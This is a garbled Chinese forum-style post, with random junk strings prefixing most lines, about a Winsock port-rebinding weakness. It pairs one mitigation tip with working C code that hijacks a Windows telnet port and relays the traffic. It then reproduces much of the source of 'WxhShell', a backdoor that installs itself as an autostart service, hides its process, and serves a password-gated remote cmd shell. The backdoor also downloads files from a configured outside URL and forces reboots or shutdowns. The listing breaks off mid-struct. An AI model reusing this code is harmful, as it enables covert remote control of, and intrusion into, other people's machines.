在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h}Wdh1.M3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^+9sG$T_EV ?}Lg)EFH saddr.sin_family = AF_INET;
o!r8{L <JwX_\?ln saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!;!~n` b2b75}_A bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+EM_TTf4 &h,5:u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,*@AX> NCf"tK'5n 这意味着什么?意味着可以进行如下的攻击:
,xT?mt}P e%>b+Sv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A[YpcG'9 *I?Eb-!t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
m G1IQ! _ZAch zV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;|cTHGxbE rBN)a" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G^1b>K "uPy,<l 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`:G% z>[tF5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5')8r';, 9ElCg" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
uGl| pJ\y= U`x bPQ #include
Q\3 Z|% #include
1Fi86 #include
qJ_1*!!91 #include
Sm2>'C DWORD WINAPI ClientThread(LPVOID lpParam);
.6pOvGKb int main()
JkA|Qdj~Mr {
$Vv}XMxw WORD wVersionRequested;
p=QYc)3F DWORD ret;
<vbIp& WSADATA wsaData;
%AnW~v BOOL val;
l~Lb!; ,dN SOCKADDR_IN saddr;
J%]D%2vnk` SOCKADDR_IN scaddr;
^5 t int err;
Ut)r&? SOCKET s;
2_t=P|Uo SOCKET sc;
9(!]NNf! int caddsize;
cDXsi#Raj HANDLE mt;
O8N[Jl DWORD tid;
O;]?gj 1@ wVersionRequested = MAKEWORD( 2, 2 );
Sb:T*N0gS err = WSAStartup( wVersionRequested, &wsaData );
I6LD)? if ( err != 0 ) {
SgE/!+{ printf("error!WSAStartup failed!\n");
=BZ?- mIU return -1;
XO
F1c3'H }
#m8sK(#lo saddr.sin_family = AF_INET;
p'{xoV 5H:@8,B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q:|w%L*E
"MiD8wX- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p&K\]l} saddr.sin_port = htons(23);
/MOnNnV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!1uzX
Kb {
[[)_BmS5r printf("error!socket failed!\n");
3|Y!2b(:? return -1;
~tGCLf]c\ }
C6&( c val = TRUE;
YTU.$t;Ez //SO_REUSEADDR选项就是可以实现端口重绑定的
.#5l$[' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&}`K^5K|O: {
aP>37s printf("error!setsockopt failed!\n");
1{2eY%+C return -1;
!|m9| }
ZZ)G5ji //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$rG<uO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B">yKB:D}t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3An(jt$%Q 5`E))?*"Pe if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\T-~JQVj {
`HX3|w6W; ret=GetLastError();
1ZKzumF printf("error!bind failed!\n");
H "+c)FGi return -1;
R.1Xst &i }
M}.b"
ljZ listen(s,2);
1=Ilej1 while(1)
f8:$G.}i {
p`+VrcCBOd caddsize = sizeof(scaddr);
/4joC9\AB //接受连接请求
V_L[P9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Eo{EKI1 if(sc!=INVALID_SOCKET)
o+g4p:Mf {
wy4q[$.4v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zb2K;%Qs+f if(mt==NULL)
g*]E>SQ= {
a`Z{
xme= printf("Thread Creat Failed!\n");
J^I7BsZ break;
-rDz~M+ }
|tG+iF@4 }
T 0 FZ7 CloseHandle(mt);
9[|4[3K }
r7)@M%A closesocket(s);
@%@zH%b WSACleanup();
FUaNiAr[ return 0;
_JOP[KHb }
+*t|yKO>[ DWORD WINAPI ClientThread(LPVOID lpParam)
TV{)n'aA {
t^@T`2jL
SOCKET ss = (SOCKET)lpParam;
c#q"\" SOCKET sc;
6d{j0?mM unsigned char buf[4096];
?TuI:dC SOCKADDR_IN saddr;
P&t;WPZ long num;
DcFCKji DWORD val;
R^Bk] DWORD ret;
} 21j //如果是隐藏端口应用的话,可以在此处加一些判断
.u< U:* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'>^Xqn saddr.sin_family = AF_INET;
( D}"&2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|@`"F5@, saddr.sin_port = htons(23);
*:arva5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Sa}D.SBg {
bc}dYK3$q printf("error!socket failed!\n");
6D9o08 return -1;
E8tD)=1 }
<7gMl val = 100;
[(cL/_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,z66bnjO {
(G5xkygR9 ret = GetLastError();
OKQLv+q5K) return -1;
KF{a$d }
La}o(7=s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HP$K.a7H {
{Nq?#%vdT ret = GetLastError();
Jf+7"![| return -1;
>RR<eYu7m }
/`R dQ<($ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D_aR\ {
"3t\em! printf("error!socket connect failed!\n");
;?8Iys# closesocket(sc);
{aJz. `u\ closesocket(ss);
z]>9nv`b return -1;
{mYx }
#'NY}6cb$ while(1)
<R~KM=rL {
Cj$H[K}> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d[U1.SNL //如果是嗅探内容的话,可以再此处进行内容分析和记录
5<r)+?!n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
apaIJ+^[ num = recv(ss,buf,4096,0);
\UtS>4w\ if(num>0)
l%bq2,-% send(sc,buf,num,0);
fNEz else if(num==0)
|E|T%i^}./ break;
qP`?M\!O num = recv(sc,buf,4096,0);
/\~W$.c if(num>0)
M,L@k send(ss,buf,num,0);
3*\8p6G else if(num==0)
i;HH !
TaN break;
V~c(]K)- }
0|Q.U closesocket(ss);
.jum "va% closesocket(sc);
-4`sqv ] return 0 ;
&z0iLa4q) }
r!M#7FDs( vz,LF=s2 P6E1^$e ==========================================================
auA.6DQ s7Qyfe&> 下边附上一个代码,,WXhSHELL
n +dJc z9fNk% ==========================================================
n8?KSQy$ Hf.xd.Yw #include "stdafx.h"
s'AQUUrb< D`fc7m #include <stdio.h>
/>!!ch #include <string.h>
9rWLE6` #include <windows.h>
*lY+Yy( #include <winsock2.h>
cqHw^{'8 #include <winsvc.h>
7CYH'DL #include <urlmon.h>
rUvwpP"k 2q|_Dma #pragma comment (lib, "Ws2_32.lib")
_"v~"k 90^ #pragma comment (lib, "urlmon.lib")
:28@J?jjO S
`wE$so> #define MAX_USER 100 // 最大客户端连接数
_3zU,qm+ #define BUF_SOCK 200 // sock buffer
zCM^r <Kr #define KEY_BUFF 255 // 输入 buffer
!
fX9*0L ty9rH=1 #define REBOOT 0 // 重启
Z#@6#S` #define SHUTDOWN 1 // 关机
5#BF,-Jv >VypE8H]x #define DEF_PORT 5000 // 监听端口
9$EHK r)%4-XeV #define REG_LEN 16 // 注册表键长度
%y3:SUOdx #define SVC_LEN 80 // NT服务名长度
5A;"jp^ Z e)br`CD% // 从dll定义API
M;> ha,x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
cnC_#kp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{!g?d<* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Xv]*;Bq:SK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
hX %s]" *+&z|Pwv[^ // wxhshell配置信息
hxP6C6S struct WSCFG {
w4`!Te int ws_port; // 监听端口
`GP3D~ char ws_passstr[REG_LEN]; // 口令
Ckw83X int ws_autoins; // 安装标记, 1=yes 0=no
S{Rh'x\B char ws_regname[REG_LEN]; // 注册表键名
frk7^5 char ws_svcname[REG_LEN]; // 服务名
8QPT\~ char ws_svcdisp[SVC_LEN]; // 服务显示名
"{mt? char ws_svcdesc[SVC_LEN]; // 服务描述信息
)ZviS. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UVnrDhd!0 int ws_downexe; // 下载执行标记, 1=yes 0=no
Za34/ro/T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-wBnwn- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0\QYf0o |@OJ~5H/{ };
JPHUmv6 a{5H33JA // default Wxhshell configuration
kzW\z4f struct WSCFG wscfg={DEF_PORT,
q^u6f?B "xuhuanlingzhe",
-.^@9
a> 1,
A"`L~|& "Wxhshell",
M3)v-" "Wxhshell",
R<_mK33hd "WxhShell Service",
,7QBJ_-;QJ "Wrsky Windows CmdShell Service",
3s#|Y,{?6R "Please Input Your Password: ",
!Q[;5Lqt 1,
rK*hTjVn "
http://www.wrsky.com/wxhshell.exe",
m]E o(P4+ "Wxhshell.exe"
,&-S?| };
BllDWKb <r@bNx@T // 消息定义模块
ryz/rf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]cS&8{ ^2 char *msg_ws_prompt="\n\r? for help\n\r#>";
IQo]9Lx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=H
L9Z char *msg_ws_ext="\n\rExit.";
iM4mkCdOO char *msg_ws_end="\n\rQuit.";
@F>[DW]O char *msg_ws_boot="\n\rReboot...";
nm<L&11 char *msg_ws_poff="\n\rShutdown...";
qT
5WaO) char *msg_ws_down="\n\rSave to ";
#}nBS-+ ,ZLG7e char *msg_ws_err="\n\rErr!";
/IrKpmbq char *msg_ws_ok="\n\rOK!";
K
lPm= 1VRqz5 char ExeFile[MAX_PATH];
[B.W1 GL! int nUser = 0;
@2QJm HANDLE handles[MAX_USER];
wEZqkV int OsIsNt;
%{7$\|;J' QxP` f KC8 SERVICE_STATUS serviceStatus;
oB hL}r SERVICE_STATUS_HANDLE hServiceStatusHandle;
6(!,H<bON Rs`Vr_?Hk // 函数声明
+>n.T int Install(void);
sxf}Mmsk int Uninstall(void);
ADuZ}] int DownloadFile(char *sURL, SOCKET wsh);
*'kC8ZR5 int Boot(int flag);
@WMj^t1D+ void HideProc(void);
|p'_k(z} int GetOsVer(void);
lqhHbB int Wxhshell(SOCKET wsl);
/<(R void TalkWithClient(void *cs);
1uK)1%vK int CmdShell(SOCKET sock);
H57jBD int StartFromService(void);
l6r%nHP@ int StartWxhshell(LPSTR lpCmdLine);
_:oMyK' cL-6M^!a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c%o5E% VOID WINAPI NTServiceHandler( DWORD fdwControl );
I^6c0` M'pY-/. // 数据结构和表定义
7{?lEQ&UE SERVICE_TABLE_ENTRY DispatchTable[] =
5%vP~vy_} {
sE(X:[Am {wscfg.ws_svcname, NTServiceMain},
yQ72v' {NULL, NULL}
D'U\]'. };
(gs`=H*d; \JF57t}Zk // 自我安装
D/+@d:- G int Install(void)
T\<M?`Y {
UHTb61Gs char svExeFile[MAX_PATH];
~hxeD" w HKEY key;
C.DoXE7 strcpy(svExeFile,ExeFile);
.H*? '* 4nX'a*'D~} // 如果是win9x系统,修改注册表设为自启动
A- <.# if(!OsIsNt) {
WV9[DFU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d
%F/,c-= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[ni-UNTv RegCloseKey(key);
@y&h4^)z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;jpw"-J` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r;@:S~ RegCloseKey(key);
LIm$Wl1U return 0;
^hGZVGSv }
LNsE7t }
D/NIn=>j }
ur,V>J<5A else {
gK] T} 1tuator // 如果是NT以上系统,安装为系统服务
4AG&z,[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[qc6Q: if (schSCManager!=0)
\!?
PhNv {
dUBVp 9PB SC_HANDLE schService = CreateService
z.Ve#~\ (
q[We][Nrzb schSCManager,
2=/-d$ wscfg.ws_svcname,
`UzCq06rJ1 wscfg.ws_svcdisp,
M[&.kH SERVICE_ALL_ACCESS,
HzFt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ul]m>W SERVICE_AUTO_START,
$)WH^Ir~ SERVICE_ERROR_NORMAL,
1{Sx V svExeFile,
d@`-!" NULL,
qrORP3D@ NULL,
<3J=;.\6 NULL,
d-_93 NULL,
7ZR0M&pX NULL
rK0|9^i{ );
J}93u(T5 if (schService!=0)
Jf8'N
ot {
&El[ CloseServiceHandle(schService);
u8$~N$L CloseServiceHandle(schSCManager);
PhI{3B/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.*clY strcat(svExeFile,wscfg.ws_svcname);
42H#n]Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-qr:c9\px RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g*\v}6
h RegCloseKey(key);
oGU.U9~! return 0;
b_"V%<I }
|<5J }
~T{d9yNW1 CloseServiceHandle(schSCManager);
_3-,3ia }
~"hAb2 }
hPX2 Bp OHXeqjhy return 1;
`04Y ;@w }
hKH
Q!`&v A`mf 8'nTG // 自我卸载
L2Q p6A6S int Uninstall(void)
|7 W6I$Xl {
>O[^\H!\ HKEY key;
>goAf`sqo #|2g{7g* if(!OsIsNt) {
qoyGs}/I8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4$#ia
F RegDeleteValue(key,wscfg.ws_regname);
O,z%7>< RegCloseKey(key);
kA->xjk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=V4_DJ(& RegDeleteValue(key,wscfg.ws_regname);
vzT6G/ RegCloseKey(key);
c_j)8 return 0;
9/^Bj }
Q'V,?# }
/E1c#@ }
\H'CFAuF else {
6CzvRvA*P bB[*\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vU=k8 if (schSCManager!=0)
I(r5\A= {
~(L<uFU V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Fb`7aFIf if (schService!=0)
:/?R9JVI {
{ /Q? if(DeleteService(schService)!=0) {
Y$DgL
h CloseServiceHandle(schService);
*1 eTf CloseServiceHandle(schSCManager);
'3kL=( return 0;
-V)5Tr= }
?f%DVK d CloseServiceHandle(schService);
(]#
JpQ }
"q#kh,-C CloseServiceHandle(schSCManager);
9\;/-0P }
6T
aT_29 }
mfi'>o# ,t,65@3+b return 1;
K,T]Fuy }
X+G*Q}5 nCmrt*&} // 从指定url下载文件
d~oWu [F* int DownloadFile(char *sURL, SOCKET wsh)
Ns] 9-D {
3t}o0Ai9 HRESULT hr;
>w2WyYJYH char seps[]= "/";
p9bxhnn| char *token;
B7^n30+L char *file;
rzY@H }u char myURL[MAX_PATH];
jMN@x]6w char myFILE[MAX_PATH];
^bgm0,M ROiX=i strcpy(myURL,sURL);
0}3'h#33= token=strtok(myURL,seps);
"VOWV3Z while(token!=NULL)
'%/u103{e {
*/m~m? file=token;
2nz'/G token=strtok(NULL,seps);
Q,+*u%/u }
Gt*<? Z`Eb
L GetCurrentDirectory(MAX_PATH,myFILE);
Yoym5<xE strcat(myFILE, "\\");
T;e (Q,!H strcat(myFILE, file);
V$]a&wM<5 send(wsh,myFILE,strlen(myFILE),0);
V?pO ~qo send(wsh,"...",3,0);
HK4`@jYQ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XhkL))FcG if(hr==S_OK)
(E]K)d return 0;
IpVwn Nj!} else
[A/+tv return 1;
#1lS\! Ud?d. }
mI*>7? vxfh1B& // 系统电源模块
#]hkQo int Boot(int flag)
LfSUY {
u~Cqdr5
\l HANDLE hToken;
I&@@v\$* TOKEN_PRIVILEGES tkp;
\:^n-D*fX aNEy1-/(\ if(OsIsNt) {
RJm8K,3# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`v+O5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{Q3#]Vu tkp.PrivilegeCount = 1;
5m;wMW< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zEL[%(fnc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ljs(<Gm)- if(flag==REBOOT) {
&(1NOyX& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G
U/k^Qy return 0;
NjMLq|X }
H[yLlv else {
Sgk{NM7|k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%R5MAs&-5 return 0;
ZQ8Aak }
Y2$`o4*3 }
5rSth.& else {
aWK7 -n if(flag==REBOOT) {
\crmNH)3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
X-WvKH(=w return 0;
fmyS#
6" }
dfd%A"
I else {
B{u.Yc: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
F?4'>ZW return 0;
*qOCo_=P8 }
;a77YLTQ }
&3/H
P)*<] YLd%"H $n return 1;
`I<|*vW
u }
+Rd{ ?)2~ jpS#'h // win9x进程隐藏模块
VrP%4P+ void HideProc(void)
?2/M W27w {
Bd[}A9O[ $f\-.7OD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
vDb}CQ\ if ( hKernel != NULL )
pAL-Pl9z {
YZJP7nN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
RH 0a\RC!G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+N!{(R:"v} FreeLibrary(hKernel);
yXmp]9$ }
%'<
qhGJ id9T[^h return;
Q)dns)_x }
'hWRwP| D1/$pA+B // 获取操作系统版本
=jHy6)6w int GetOsVer(void)
NP/2gjp {
51usiOq OSVERSIONINFO winfo;
:S2MS{>Mo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4<HJD&@V GetVersionEx(&winfo);
$ {"St&( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p0@mumh return 1;
<6 $%Y2 else
]<_+uciP5[ return 0;
t`{Fnf }
pr?(5{BL Fje%hcV // 客户端句柄模块
|e(x< [s5 int Wxhshell(SOCKET wsl)
L0~O6*bk {
s2kynQ#a SOCKET wsh;
?uv%E*TU struct sockaddr_in client;
2F]MzeW DWORD myID;
s os& 34+}u,= while(nUser<MAX_USER)
zW.sXV, {
9|DC<Zn&B# int nSize=sizeof(client);
;c}];ZU3G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+r"$?bw' if(wsh==INVALID_SOCKET) return 1;
,iy k$/].P*! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<GEn9;\
if(handles[nUser]==0)
B&D
z(Bs closesocket(wsh);
jz0\F,s else
&Gl&m@-j nUser++;
_FgeE`X }
djM=QafB:C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
p:))ne:7 |+''d return 0;
06
1=pV$CJ }
QI<3N F*H}5yBp_: // 关闭 socket
R~([ void CloseIt(SOCKET wsh)
C]cw@:o% {
>i<-rO>kN closesocket(wsh);
WdnP[x9 nUser--;
ozG:f*{T ExitThread(0);
eU0-_3gN_ }
[5-5tipvWp ?i"FdpW // 客户端请求句柄
pj6Cvq4bD void TalkWithClient(void *cs)
MIJ~j><L {
SqQB>;/p fZC,%p SOCKET wsh=(SOCKET)cs;
on$a]zx'@ char pwd[SVC_LEN];
l|{<!7a char cmd[KEY_BUFF];
v2Y=vr char chr[1];
){~.jP=-# int i,j;
1g+<`1=KT V}?5=f' while (nUser < MAX_USER) {
m~A/.t%= t=#)3C`Q} if(wscfg.ws_passstr) {
I 3PnyNZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PHkvt!uH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"AVc^> //ZeroMemory(pwd,KEY_BUFF);
71InYIed i=0;
YoA$Gw2 while(i<SVC_LEN) {
O&uOm:/( Pe.D[]S // 设置超时
J^cDa|j fd_set FdRead;
I(SE)%!%S struct timeval TimeOut;
|)?T([ FD_ZERO(&FdRead);
U$}]zaB FD_SET(wsh,&FdRead);
w.\:I[ TimeOut.tv_sec=8;
l(W3|W#P TimeOut.tv_usec=0;
G 2##M8:U0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;d4_l:9p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;f\0GsA# Nx__zC^r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
o\N}?Z,Kk pwd
=chr[0]; Uan;}X7@
if(chr[0]==0xd || chr[0]==0xa) { c-F&4V
pwd=0; >8so'7(
break; )C[8#Q-:
} ]Az >W*Y
i++; QG.FW;/L,
} 9viC3bj. o
"rtmDNpL
// 如果是非法用户,关闭 socket 5h&8!!$[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z)<>d.
}
<_~`)t
cl:YN]BK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &x3y.}1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x8[8z^BV?e
lq~n*uwO}t
while(1) { gd*\,P
!TcjB;q'
ZeroMemory(cmd,KEY_BUFF); "F&uk~ b$
+?8nY.~,'
// 自动支持客户端 telnet标准 o,L !F`W
j=0; WW.=>]7;
while(j<KEY_BUFF) { 2rk_ ssvs
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z3,z&Ra
cmd[j]=chr[0]; %PpB$
if(chr[0]==0xa || chr[0]==0xd) { E+gUzz5
cmd[j]=0; qlu yJpt
break; @({65 gJ*
} 1<*-,f
j++; " 1Bn/Q
} [M.Vu
> 01k
u
// 下载文件 j<[<qU:
if(strstr(cmd,"http://")) { d 9|u~3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PF~&!~S>W
if(DownloadFile(cmd,wsh)) pVr,WTr6E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fqi584
else :Vg,[\I{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +J2=\YO
} I?=Q
*og
else { @S{,g;8
}.#C9<"}
switch(cmd[0]) { rfk';ph
QL3%L8
// 帮助 &\A$Rj)
case '?': { j JW0a\0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?w.Yx$Z"
break; : v]< h
} 6i%)'dl
// 安装 _$\T;m>'A
case 'i': { Ky+TgR
if(Install()) D_@^XS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|EZ;,i
else JSM{|HJxh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^vzNs>eJ
break; c7'Pzb)'
} qhogcAvE
// 卸载 E7N1B*KI
case 'r': { fgNEq
if(Uninstall()) D,2,4h!ka
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|hmiMdGB
else 2`;
0y M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y!KGJ^.mF
break; b[$>HB_Na
} E0YXgQa
// 显示 wxhshell 所在路径 l)?c3
case 'p': { {w2<;YXj!
char svExeFile[MAX_PATH]; F](kU#3"S
strcpy(svExeFile,"\n\r"); %FwLFo^v
strcat(svExeFile,ExeFile); PffRV7qU0
send(wsh,svExeFile,strlen(svExeFile),0);
@>BFhH
break; ^T^fowt=r
} M$w^g8F27H
// 重启 aw(P@9]
case 'b': { DY1o!thz)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bygwoZ<E
if(Boot(REBOOT)) "UE'dWz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UXd\Q''
else { pJ{sBp_$
closesocket(wsh); _rSnp
ExitThread(0);
@521zi
} zITXEorF!J
break; qh=lF_%uj
} )J0'We
// 关机 sx6`
g;
case 'd': { ='~C$%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !d ZHG
R
if(Boot(SHUTDOWN)) A w83@U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|v1=qNH4
else { Q?vGg{>
closesocket(wsh); 7[Y<5T]
ExitThread(0); )=~1m85+5B
} <.Pr+g
break; Tmq:,.^}
} BONM:(1
// 获取shell 55Jk "V#8
case 's': { 98x(2fCvF(
CmdShell(wsh); WFtxEIrl3j
closesocket(wsh); =\tg$
ExitThread(0); % nJ'r?+h
break; 07CGHAxJ`
} c" yf>0
// 退出 >zXw4=J
case 'x': { 9^`G `D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ndN8eh:OR
CloseIt(wsh); P\SE_*&
break;
>hHn{3y
} k0%4&pU
// 离开 ky,+xq
case 'q': { }nuhLt1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \07
s'W U
closesocket(wsh); P*G&pitT
WSACleanup(); kpEES{f
exit(1); $BCqz! 4K
break; SZEX;M
} koe&7\ _@
} x2;92I{5C,
} RoPz?,u
Yk[yG;W
// 提示信息 9;kWuP>k4u
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )'92{-A0
} (eHvp
} Aqq%HgY:t
\S3C"P%w
return; /8lGP!z
} 9MVW~V
X#IVjc:&L
// shell模块句柄 W&)OiZN
int CmdShell(SOCKET sock) t[%9z6t
{ P$\(Bd\76
STARTUPINFO si; 3.
fIp5g
ZeroMemory(&si,sizeof(si)); om|M=/^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SxNs
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^qGH77#z
PROCESS_INFORMATION ProcessInfo; cvi+AZ=
char cmdline[]="cmd"; C^]bXIb
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Epg&)wC]
return 0; I
91`~0L*
} "@DCQ
$}N'm
// 自身启动模式 XswEAz0=
int StartFromService(void) Sw>AgES
{ zAS&L%^ tV
typedef struct 3%>"|Ye}A
{ ^<7)w2ns
DWORD ExitStatus; o^2.&e+dQ
DWORD PebBaseAddress; %/jmQ6z^
DWORD AffinityMask; (yn!~El3
DWORD BasePriority; L3'o2@$
ULONG UniqueProcessId; IKH#[jW'IB
